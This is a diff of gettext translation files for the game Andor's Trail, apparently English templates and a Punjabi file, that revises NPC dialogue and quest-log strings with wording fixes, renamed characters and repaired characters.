msgstr ""
#: conversationlist_graveyard1.json:algore_99g
msgid "Thanks kid. It's good to see you have some honor."
msgstr ""
#: conversationlist_graveyard1.json:algore_special2
msgid "Thanks for the gold kid. I decided that with the money I can rebuild my life. I'm going to sober up and start trading again. I'll be leaving here soon."
msgstr ""
#: conversationlist_graveyard1.json:algore_99i
msgid "We'll see about that."
msgstr ""
#: conversationlist_graveyard1.json:algore_99i:0
msgid "Yes, we will!"
msgstr ""
#: conversationlist_guynmart.json:guynmart_haystack
msgid "This is a haystack."
msgstr ""
@@ -24366,7 +24315,7 @@ msgid "OK, just a second."
msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_wizard_40
msgid "Be welcome, $playername. I am Rorthron, the world's most famous ringmaker. I know Andor, your brother. He sometimes consulted me about newly found rings."
msgid "Be welcome, $playername. I am Rorthron, world most famous ringmaker. I know Andor, your brother. He sometimes consulted me about newly found rings."
msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_wizard_40:0
@@ -24548,7 +24497,6 @@ msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_steward3_24:0
#: conversationlist_stoutford_combined.json:berbane_110:0
#: conversationlist_stoutford_combined.json:blornvale_thorns72_90:0
msgid "But ..."
msgstr ""
@@ -26256,7 +26204,7 @@ msgid "Sorry. I haven't seen anyone that looks like you. "
msgstr ""
#: conversationlist_trader_teksin.json:teksin30
msgid "I have been out in the wild for while, and have seen nobody since I left the main road weeks ago."
msgid "I have been out in the wilds for while, and have seen nobody since I left the main road weeks ago."
msgstr ""
#: conversationlist_trader_teksin.json:teksin40
@@ -26264,7 +26212,7 @@ msgid "I decided that I should find a better route to Remgard. The road through
msgstr ""
#: conversationlist_trader_teksin.json:teksin50
msgid "This is as close as I can get coming this way. I am an experienced traveler, and I know that Remgard is close. It's north across this lake, but there is no way to cross, or to go further east around the lake."
msgid "This is as close as I can get coming this way. I am an experienced traveler, and I know that Remgard is close, north across this lake, but there is no way to cross, or to go further east around the lake."
msgstr ""
#: conversationlist_trader_teksin.json:teksin50:0
@@ -26325,7 +26273,7 @@ msgid "OK. Show me what you have."
msgstr ""
#: conversationlist_trader_teksin.json:teksin100
msgid "For you, I will offer the special price of 4999 gold."
msgid "For you, I will offer the special price of 4999gp."
msgstr ""
#: conversationlist_trader_teksin.json:teksin100:0
@@ -26359,7 +26307,7 @@ msgid "Thanks for the advice. I need to go now."
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_0
msgid "Welcome to our wonderful Inn. How can we help you?"
msgid "Welcome to Stoutford kid. "
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_1
@@ -26410,10 +26358,6 @@ msgstr ""
msgid "Why are monster attacks increasing?"
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_4:3
msgid "Thanks for the information. I have to leave now."
msgstr ""
#: conversationlist_stoutford_combined.json:cornith_0
msgid "Hello, welcome to my shop"
msgstr ""
@@ -26474,7 +26418,7 @@ msgid ""
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_5
msgid "He told me that it is very far from here, to the northeast, beyond the river and the mountains."
msgid "He told me that it is very far from here, beyond the river and the mountains."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_6
@@ -26885,7 +26829,7 @@ msgid "Yes, I have dealt with most of the trolls. They won't dare to bother you
msgstr ""
#: conversationlist_stoutford_combined.json:caeda_root50_4
msgid "Thank you so much! I wish you safe travels back to Stoutford. If you want to go to the glade next time you are in Remgard, just ask me for the key."
msgid "Thank you so much! If ever you want to go to the glade, just ask me for the key."
msgstr ""
#: conversationlist_stoutford_combined.json:caeda_root50_4:0
@@ -27061,7 +27005,7 @@ msgid "Who are "they"?"
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_roots4045_9
msgid "Our priest, Tahalendor, was convinced by my uncle, Blornvale, my father's own brother."
msgid "Our priest, Talahendor, was convinced by my uncle, Blornvale, my father's own brother."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_roots4045_10
@@ -27212,7 +27156,7 @@ msgid "You are right. We need a credible witness ..."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns40_2
msgid "Best would be Tahalendor himself. Yes, you must persuade the priest to be present when Blornvale tells the whole story."
msgid "Best would be Talahendor himself. Yes, you must persuade the priest to be present when Blornvale tells the whole story."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns40_2:0
@@ -27238,7 +27182,6 @@ msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_0
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns74_0
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_70
msgid "Any news about the murderer?"
msgstr ""
@@ -27372,7 +27315,7 @@ msgid "That's all children's stuff"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3
msgid "What did you expect? You are a kid after all. I can't give you strong potions!"
msgid "What did you expect? You are a kid after all. I must not give strong potions to you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3:0
@@ -27380,7 +27323,9 @@ msgid "You are right. Have a nice day."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3:1
msgid "It is not for me of course. My father and his men are fighting in Flagstone right now. They urgently need some useful potions, not soap! I think three potions of the brave would do it, if you happen to have them. And possibly more, if it is good stuff."
msgid ""
"It is not for me of course. My father and his men are fighting in Flagstone right now. They need urgently some useful potions, not soap!\n"
"I think of three potions of the brave, if you happen to have. And more if it is good stuff."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_4
@@ -27388,7 +27333,7 @@ msgid "Ah. Oh. That changes everything. Wait a second."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_4:0
msgid "I'm in a hurry."
msgid "Look lively now."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_shop2
@@ -27485,6 +27430,14 @@ msgstr ""
msgid "I have heard enough. Thank you, kid. I will ensure that Blornvale never makes trouble again."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72
msgid "That was - a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72:0
msgid "it was worth a try."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns74
msgid "You dare to come here again?"
msgstr ""
@@ -27630,7 +27583,6 @@ msgid "The path to Blackwater mountain was cut off by a rock fall. That stopped
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_2:0
#: conversationlist_stoutford_combined.json:odirath_1_4:3
msgid "How do I get to Blackwater mountain?"
msgstr ""
@@ -27650,10 +27602,6 @@ msgstr ""
msgid "Thanks. What about the monsters?"
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_3:2
msgid "Thanks for the information. Please show me what you have to trade."
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_4
msgid "They started attacking the town recently. Nobody is sure why. Their attacks have been unsuccessful, so we are all hoping that they will give up soon and go back to wherever they came from."
msgstr ""
@@ -27667,7 +27615,7 @@ msgid "Thanks. I'm looking for my brother, Andor. Has anyone new been through he
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_2
msgid "Yes, indeed. My daughter has not come home for some days. I don't know what's happened to her."
msgid "Yes, indeed. My daughter has not come home for some days. I do not know what's wrong with her."
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_2:0
@@ -27802,11 +27750,6 @@ msgstr ""
msgid "And bonemeal is forbidden."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_4:2
#: conversationlist_stoutford_combined.json:yolgen_4a:1
msgid "I will clear the castle of undead for you."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_4a
msgid "Yes, incredible! Although kids like you should not play with such things."
msgstr ""
@@ -27847,10 +27790,6 @@ msgstr ""
msgid "That dreadful place has been left abandoned ever since. Recently, however, undead have started pouring out of the prison, and we had to send guards to keep them away from the road. "
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_1a:0
msgid "I took care of that"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_1a:1
msgid "Can I help you with Flagstone?"
msgstr ""
@@ -27887,11 +27826,6 @@ msgstr ""
msgid "That sounds dreadful. Can I help you with the castle?"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_2c:1
#: conversationlist_stoutford_combined.json:yolgen_surroundings_3b:0
msgid "Is there anything I could do to help?"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_1
msgid "Well, you already were of great help. Thank you again!"
msgstr ""
@@ -27916,10 +27850,6 @@ msgstr ""
msgid "OK. I will go to the prison."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_2_1:1
msgid "I cleared flagstone of an evil demon."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_2_2
msgid "Can you clear the castle?"
msgstr ""
@@ -27941,10 +27871,14 @@ msgid "If you could help with Flagstone, it would take a big burden off us."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:0
msgid "I have been inside Flagstone, but I will go back and find out more."
msgid "I already took care of Flagstone. I cleared it of an evil demon."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:1
msgid "I have been inside Flagstone, but I will go back and find out more."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:2
msgid "OK, I will take a look."
msgstr ""
@@ -27961,11 +27895,7 @@ msgid "Thank you kindly. Shadow be with you."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_flagstone_4
msgid "Yes, thanks to you my friend, we don't need to worry about the undead anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_flagstone_4:1
msgid "Where do you think they came from?"
msgid "Thanks to you my friend, we don't need to worry about the undead anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_reinforcements_2
@@ -28061,7 +27991,7 @@ msgid "What would I gain from that?"
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_castle_3a:1
msgid "You are very rude and poorly educated. Maybe I should introduce myself? $playername is my name."
msgid "You are very rude and poorly educated. May I should introduce myself? $playername is my name."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_castle_3a:2
@@ -28151,7 +28081,7 @@ msgid "Well, it was a tough fight, but I managed to slay Lord Erwyn himself."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_2:1
msgid "The undead are no match for me."
msgid "Undeads are no match for me."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_2a
@@ -28187,7 +28117,7 @@ msgid "Yolgen puts the ring on his altar and chants a spell. Suddenly the altar
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_6
msgid "That is it. The ring is destroyed. I wonder where it came from. Maybe from the depths of Mt. Galmore, or some mischievous traveller put it on Lord Erwyn's remains? Anyway, my friend, I and the people of Stoutford are most grateful."
msgid "That is it. The ring is destroyed. I just wonder where it came from. Maybe from the depths of Mt. Galmore, or some mischievous traveller put it on Lord Erwyn's remains? Anyway, my friend, I and the people of Stoutford are most grateful."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_6:0
@@ -28510,7 +28440,7 @@ msgid "Hi kid. It is nice and warm here next to the fire. Come and make yourself
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp1_10:0
msgid "Ah, no thank you. I have more interesting things to do."
msgid "Ah, no thank you. I have more interesting things to do now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_10
@@ -28522,7 +28452,7 @@ msgid "No. We're on a military exercise right now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_30
msgid "We saw another horde of undead approach the castle just as we left. We hurried here, so that we can complete our exercise and be back in time to be able to help."
msgid "We just saw another horde of undead approach the castle when we left. We hurried to this place, so that we can be back in time to be able to help."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_30:0
@@ -28542,7 +28472,7 @@ msgid "I had better leave now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_40:2
msgid "I had better leave now. You do not need to hurry with your exercise. All your comrades have already been killed by the undead."
msgid "I had better leave now. And you need not hurry with your exercise. All your comrades have already been killed by the undead."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_42
@@ -29052,11 +28982,11 @@ msgid "$playername! What do you think you are doing?!"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131:0
msgid "Mikhail! You are here?"
msgid "Mikhail! You here?"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_2
msgid "We need you back home. Andor is back since a long time ago, and we have our hands full trying to control the rat plague."
msgid "We need you at home. Andor is back since long, and we have our hands full trying to control the rat plague."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_2:0
@@ -29068,7 +28998,7 @@ msgid "Come with me now. And give me back my ring."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_3:0
msgid "Sure, here is your ring. It was very useful in the beginning, but I don't need it anymore."
msgid "Sure, here is your ring. It was very useful in the beginning, but now I don't need it anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_3:1
@@ -29086,11 +29016,11 @@ msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_4a
msgid ""
"[Ring taken]\n"
"Thank you, stupid boy."
"Thank you, stupid."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_4b
msgid "You think you are clever? Useless kid!"
msgid "You think yourself clever? Useless kid!"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_10a
@@ -29106,11 +29036,11 @@ msgid "I am impressed. You won the fight with my poser."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132:0
msgid "A Poser? What's that?"
msgid "A Poser? What's this?"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20a
msgid "A poser can imitate someone you have had in mind recently. Also, if you give him some object, then he can turn it into a second duplicate."
msgid "A poser could imitate someone you have in mind lately. And if you give him some object, then he turns it into a second duplicate."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20a:0
@@ -29118,7 +29048,7 @@ msgid "Yes, but two Mikhails were a little bit too conspicuous."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20b
msgid "A poser can imitate a person you have had in mind recently, if you don't give him anything."
msgid "A poser could imitate one person you have in mind lately, if you don't give him anything."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20b:0
@@ -29310,62 +29240,6 @@ msgstr ""
msgid "Ah, I knew you did. You may pass."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_70:0
msgid "Yes, but it's not good news. Tahalendor won't believe me."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_10
msgid "That was - a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_10:0
msgid "it was worth a try."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_20
msgid "You gave me a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_20:0
msgid "That will not help you. You are forced to tell the truth."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_30
msgid "I don't think so. After all, I'm a potion maker and I have an antidote for it."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_40
msgid "Ah, I see, Tahalendor is here too, fine. Tahalendor, here is a stupid little kid with too much imagination. Please take it with you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_50
msgid "Sorry Blornvale, first I have to ask you if you killed Aryfora's father, your own brother?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_60
msgid "Of course not. Nobody is sadder about the loss than me."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_60:0
msgid "He lies. Can't you see?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_70
msgid "Here, Tahalendor, I'll give you a bottle of your favorite potion. And please take this child with you when you go."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_80
msgid "I will, sorry for disturbing you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_90
msgid "And you child, go away now and tell no more fairy tales."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_92
msgid "No more words. Go now!"
msgstr ""
#: itemcategories_1.json:dagger
msgid "Dagger"
msgstr ""
@@ -31286,10 +31160,6 @@ msgstr ""
msgid "Rose"
msgstr ""
#: itemlist_guynmart.json:guynmart_rose:description
msgid "Perpetual fragrance flows around this queen of flowers."
msgstr ""
#: itemlist_guynmart.json:guynmart_flute
msgid "Lovis' Flute"
msgstr ""
@@ -31346,10 +31216,6 @@ msgstr ""
msgid "Ring of dexterity"
msgstr ""
#: itemlist_trader_teksin.json:bwm_gloves
msgid "Blackwater gloves"
msgstr ""
#: itemlist_stoutford_combined.json:ferm-garlic
msgid "Fermented garlic"
msgstr ""
@@ -31362,10 +31228,6 @@ msgstr ""
msgid "Smoked sausage"
msgstr ""
#: itemlist_stoutford_combined.json:smoked-sausage:description
msgid "It smells... smokey."
msgstr ""
#: itemlist_stoutford_combined.json:pickled-cabbage
msgid "Pickled cabbage"
msgstr ""
@@ -36366,11 +36228,11 @@ msgid "Destined for great things"
msgstr ""
#: questlist_v070_charwood.json:charwood1:10
msgid "I heard a rumor that some mining town in the Charwood forest, northwest of the Foaming Flask tavern, has had some troubles recently. I should try to find the Charwood cabin and find out what has happened."
msgid "I heard a rumor that some mining town in the Charwood forest, northwest of the Foaming Flask tavern, have had some troubles recently. I should try to find the Charwood cabin and find out what has happened."
msgstr ""
#: questlist_v070_charwood.json:charwood1:11
msgid "I heard someone mention that the mining town of Charwood heights has had some troubles recently. I should search for the Charwood cabin in the forest northwest of the Foaming Flask tavern."
msgid "I heard someone mentioning that the mining town of Charwood heights have had some troubles recently. I should search for the Charwood cabin in the forest northwest of the Foaming Flask tavern."
msgstr ""
#: questlist_v070_charwood.json:charwood1:19
@@ -36398,7 +36260,7 @@ msgid "I encountered one of the monsters that Maevalia spoke of. The monster spo
msgstr ""
#: questlist_v070_charwood.json:charwood1:41
msgid "I have found Falothen, the weapons trainer of the Charwood heights, and freed him from the restraints that held him. He will try to make his way back to the Charwood cabin himself."
msgid "I have found Falothen, the weapons trainer of the Charwood heights, and freed him of the restraints that held him. He will try to make his way back to the Charwood cabin himself."
msgstr ""
#: questlist_v070_charwood.json:charwood1:42
@@ -36406,7 +36268,7 @@ msgid "I have found some skeletal remains, containing a ring with the insignia '
msgstr ""
#: questlist_v070_charwood.json:charwood1:43
msgid "I have found the armorer Fayvara, and freed her from the restraints that held her. She will try to make her way back to the Charwood cabin herself."
msgid "I have found the armorer Fayvara, and freed her of the restraints that held her. She will try to make her way back to the Charwood cabin herself."
msgstr ""
#: questlist_v070_charwood.json:charwood1:44
@@ -36422,7 +36284,7 @@ msgid "She told me that both Falothen and Fayvara are anxious to see me, in the
msgstr ""
#: questlist_v070_charwood.json:charwood1:65
msgid "Falothen was happy to see me again, and in return offered to train me in better handling of one weapon type. He can teach me better handling of one or two handed swords, daggers, blunt weapons, axes, or unarmed combat. I'll have to chose my preference and let him know."
msgid "Falothen was happy to see me again, and in return offered to train me in better handling of one weapon type. He can teach me better handling of one- or two handed swords, daggers, blunt weapons, axes, or unarmed combat. I'll have to chose my preference and let him know."
msgstr ""
#: questlist_v070_charwood.json:charwood1:70
@@ -36982,7 +36844,7 @@ msgid "The traveler told me that Hagale in the Wood settlement might know how to
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:35
msgid "I went to the Wood settlement and found Hagale. He was a drunk mess and would not speak to me unless I brought him two Lowynas special brew."
msgid "I went to the Wood settlement and found Hagale. He was a drunk mess and would not speak to me unless I brought him two Lowynas special brew."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:40
@@ -37002,7 +36864,7 @@ msgid "I killed the undead and took the key."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:80
msgid "I opened the chest, which contained a powerful sword. Next time Im in the Wood settlement I should see if Hagale is still around."
msgid "I opened the chest, which contained a powerful sword. Next time Im in the Wood settlement I should see if Hagale is still around."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:90
@@ -37013,14 +36875,6 @@ msgstr ""
msgid "Hagale tried to rob me and take the sword. He lost his wife and daughter and wasn't thinking straight. I gave him the sword without a fight."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:100
msgid "Hagale wanted some of the gold I got from selling the sword. It seemed fair to give him a share."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:105
msgid "Hagale tried to rob me of the gold I got from selling the sword. I had no choice but to kill him. "
msgstr ""
#: questlist_graveyard1.json:waterwayacave
msgid "Just the beginning"
msgstr ""
@@ -37029,10 +36883,6 @@ msgstr ""
msgid "In a lonely house east of Loneford, I met an old man named Cithurn."
msgstr ""
#: questlist_graveyard1.json:waterwayacave:12
msgid "Cithurn told me he needs an experienced fighter to help with his problem."
msgstr ""
#: questlist_graveyard1.json:waterwayacave:15
msgid "Cithurn told me that the surrounding forest has been under invasion by monsters for several weeks."
msgstr ""
@@ -37050,7 +36900,7 @@ msgid "Cithurn did not remember if the forest invasion began before the events i
msgstr ""
#: questlist_graveyard1.json:waterwayacave:35
msgid "I promised Cithurn I would investigate the source of the monster invasion in the forest. I will have to pass though the forest to access an entrance to a cave northeast of Cithurns home"
msgid "I promised Cithurn I would investigate the source of the monster invasion in the forest. I will have to pass though the forest to access an entrance to a cave northeast of Cithurns home"
msgstr ""
#: questlist_graveyard1.json:waterwayacave:40
@@ -37146,19 +36996,7 @@ msgid "Purchased potion of lightning attack"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:160
msgid "Mentioned Remgard - Teksin"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:170
msgid "Been to Remgard"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:180
msgid "Talked to Yolgen about the castle"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:190
msgid "Talked to Yolgen about Flagstone"
msgid "Mentioned Remgard"
msgstr ""
#: questlist_guynmart.json:guynmart
@@ -37884,10 +37722,6 @@ msgstr ""
msgid "Blornvale drank the potion."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:71
msgid "Tahalendor came to hear Blonvale confession."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:72
msgid "Blornvale confessed to killing Aryfora's father. Unfortunately there is no witness."
msgstr ""
@@ -37896,14 +37730,6 @@ msgstr ""
msgid "Blornvale now understands what you were trying to do. You will no longer be able to help Aryfora get back her shop."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:75
msgid "Tahalendor wouldn't believe your story. You will no longer be able to help Aryfora get back her shop."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:76
msgid "It's all your fault that Aryfora is crying now."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:80
msgid "Blornvale confessed to killing Aryfora's father in the presence of Tahalendor."
msgstr ""
@@ -38311,7 +38137,7 @@ msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:20
msgid ""
"Odirath's daughter Gyra was hidden in the storeroom of the main house of the castle. She was surprised by the raid on the castle and no longer dared to leave her hiding place.\n"
"Odirath's daughter Gyra was hidden in the storeroom of the main house of the castle. She was surprised by the raid on the castle and no longer dared to leave the hiding place.\n"
"She was looking for Lord Berbanes helmet, which he had forgotten somewhere in the castle."
msgstr ""
@@ -38328,7 +38154,7 @@ msgid "You found the helmet."
msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:60
msgid "Once back in Stoutford Gyra knew the way and ran to her father Odirath."
msgid "Back in Stoutford Gyra knew the way and ran to her father Odirath."
msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:70

View File

@@ -1,3 +1,22 @@
msgid ""
msgstr ""
"Project-Id-Version: Andors Trail\n"
"POT-Creation-Date: Sun Nov 10 11:14:56 CET 2013\n"
"PO-Revision-Date: 2016-06-07 12:27+0000\n"
"Last-Translator: Satnam S Virdi <pika10singh@gmail.com>\n"
"Language-Team: Punjabi <https://hosted.weblate.org/projects/andors-trail"
"/game-content/pa/>\n"
"Language: pa\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: Weblate 2.7-dev\n"
#: [none]
msgid "translator-credits"
msgstr "ਅਨੁਵਾਦ ਕਰਨ ਦਾ ਸਿਹਰਾ"
#: actorconditions_v069.json:bless
msgid "Bless"
msgstr ""
@@ -2856,7 +2875,7 @@ msgid "Hello again. Have you found the former warden in Flagstone yet?"
msgstr ""
#: conversationlist_flagstone.json:flagstone_sentry_return2:0
msgid "I slew the former warden and found a peculiar necklace among his remains."
msgid "I slew the fomer warden and found a peculiar necklace among his remains."
msgstr ""
#: conversationlist_flagstone.json:flagstone_sentry_return2:2
@@ -3394,7 +3413,7 @@ msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_commander:1
#: conversationlist_stoutford_combined.json:berbane_10:0
msgid "Who are you?"
msgstr "ਤ�ਸੀਂ ਕੌਣ ਹੋ?"
msgstr "ਤੁਸੀਂ ਕੌਣ ਹੋ?"
#: conversationlist_thievesguild_1.json:thievesguild_pickpocket_2
msgid "My real name is unimportant. People mostly call me Quickfingers."
@@ -4632,7 +4651,7 @@ msgstr ""
#: conversationlist_jolnor.json:jolnor_gaintrust_13:0
#: conversationlist_stoutford_combined.json:odirath_3_1:3
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:2
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:3
msgid "Maybe."
msgstr ""
@@ -5570,7 +5589,7 @@ msgstr ""
#: conversationlist_talion_2.json:talion_cured_1:1
#: conversationlist_maevalia.json:maevalia_r0:1
#: conversationlist_maevalia.json:maevalia15:0
#: conversationlist_stoutford.json:tahalendor2_10
#: conversationlist_stoutford.json:tahalendor2_0
msgid "What now?"
msgstr ""
@@ -6749,7 +6768,6 @@ msgstr ""
#: conversationlist_elwyl.json:elwyl_8:1
#: conversationlist_lodar.json:lodar_5:0
#: conversationlist_stoutford.json:soutford_gateguard_what_1:0
#: conversationlist_stoutford.json:yolgen_initial_0:6
#: conversationlist_stoutford.json:yolgen_rumblings10_5:1
msgid "Is there anything I can do to help?"
msgstr ""
@@ -9390,7 +9408,7 @@ msgid "I talked to Benbyr and heard the story about you two."
msgstr ""
#: conversationlist_tinlyn.json:tinlyn_story_1
msgid "Hello there. You wouldn't happen to want to help an old shepherd would you?"
msgid "Hello there. You wouldn't happen to want to help an old shepherd do you?"
msgstr ""
#: conversationlist_tinlyn.json:tinlyn_story_1:0
@@ -9547,7 +9565,7 @@ msgid "Depends on what I get in return."
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_2:2
msgid "I try to help people wherever they might need help."
msgid "I try to help people where ever they might need help."
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_3_1
@@ -9585,7 +9603,7 @@ msgid "A while ago, I did some business with a certain man called Tinlyn, over h
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_5
msgid "As to the nature of our business, I can't really tell you. Let's just say that our business was of the kind that was mutually beneficial and the guards did not know about it."
msgid "As to the nature of our business, I can't really tell you. Let's just say that our business was of the kind that it was mutually beneficial that the guards did not know about it."
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_6
@@ -11889,7 +11907,7 @@ msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_gguard_20:2
#: conversationlist_guynmart_npc.json:guynmart_gguard_40:2
msgid "What are you doing here?"
msgstr "ਤ�ਸੀਂ ਇੱਥੇ ਕੀ ਕਰ ਰਹੇ ਹੋ?"
msgstr "ਤੁਸੀਂ ਇੱਥੇ ਕੀ ਕਰ ਰਹੇ ਹੋ?"
#: conversationlist_thorin.json:thorin_2:2
#: conversationlist_thorin.json:thorin_search_1:2
@@ -21493,7 +21511,6 @@ msgid "I have a feeling that we'll meet there, wherever that is."
msgstr ""
#: conversationlist_halvor_surprise.json:halvor_mlake_leaving:2
#: conversationlist_graveyard1.json:algore_special2:0
msgid "Good luck!"
msgstr ""
@@ -21778,6 +21795,12 @@ msgstr ""
msgid "I cleared Flagstone of an evil demon."
msgstr ""
#: conversationlist_stoutford.json:yolgen_initial_0:6
#: conversationlist_stoutford_combined.json:yolgen_surroundings_2c:1
#: conversationlist_stoutford_combined.json:yolgen_surroundings_3b:0
msgid "Is there anything I could do to help?"
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_0
msgid "Walk in the shadow kid. I have to apologize for my master, Tahalendor."
msgstr ""
@@ -21790,12 +21813,6 @@ msgstr ""
msgid "Can you explain?"
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_0:2
#: conversationlist_stoutford.json:yolgen_rumblings20_0:1
#: conversationlist_stoutford.json:yolgen_rumblings50_0:2
msgid "Let us talk about something different."
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_1
msgid "My master is wise and old, but his sight is not as sharp as it once was. He took you for someone else."
msgstr ""
@@ -22285,10 +22302,6 @@ msgstr ""
msgid "If I must. Well, go ahead, I'll be there when you get there."
msgstr ""
#: conversationlist_stoutford.json:tahalendor2_20
msgid "Well, I don't really believe it, but we could try. Blornvale, how did you kill Aryforas father, your own brother?"
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_10
msgid "Hey, did you try to open that treasure chest?"
msgstr ""
@@ -22314,11 +22327,11 @@ msgid "Undead? I would love to hear the rest of your story but I am on a mission
msgstr ""
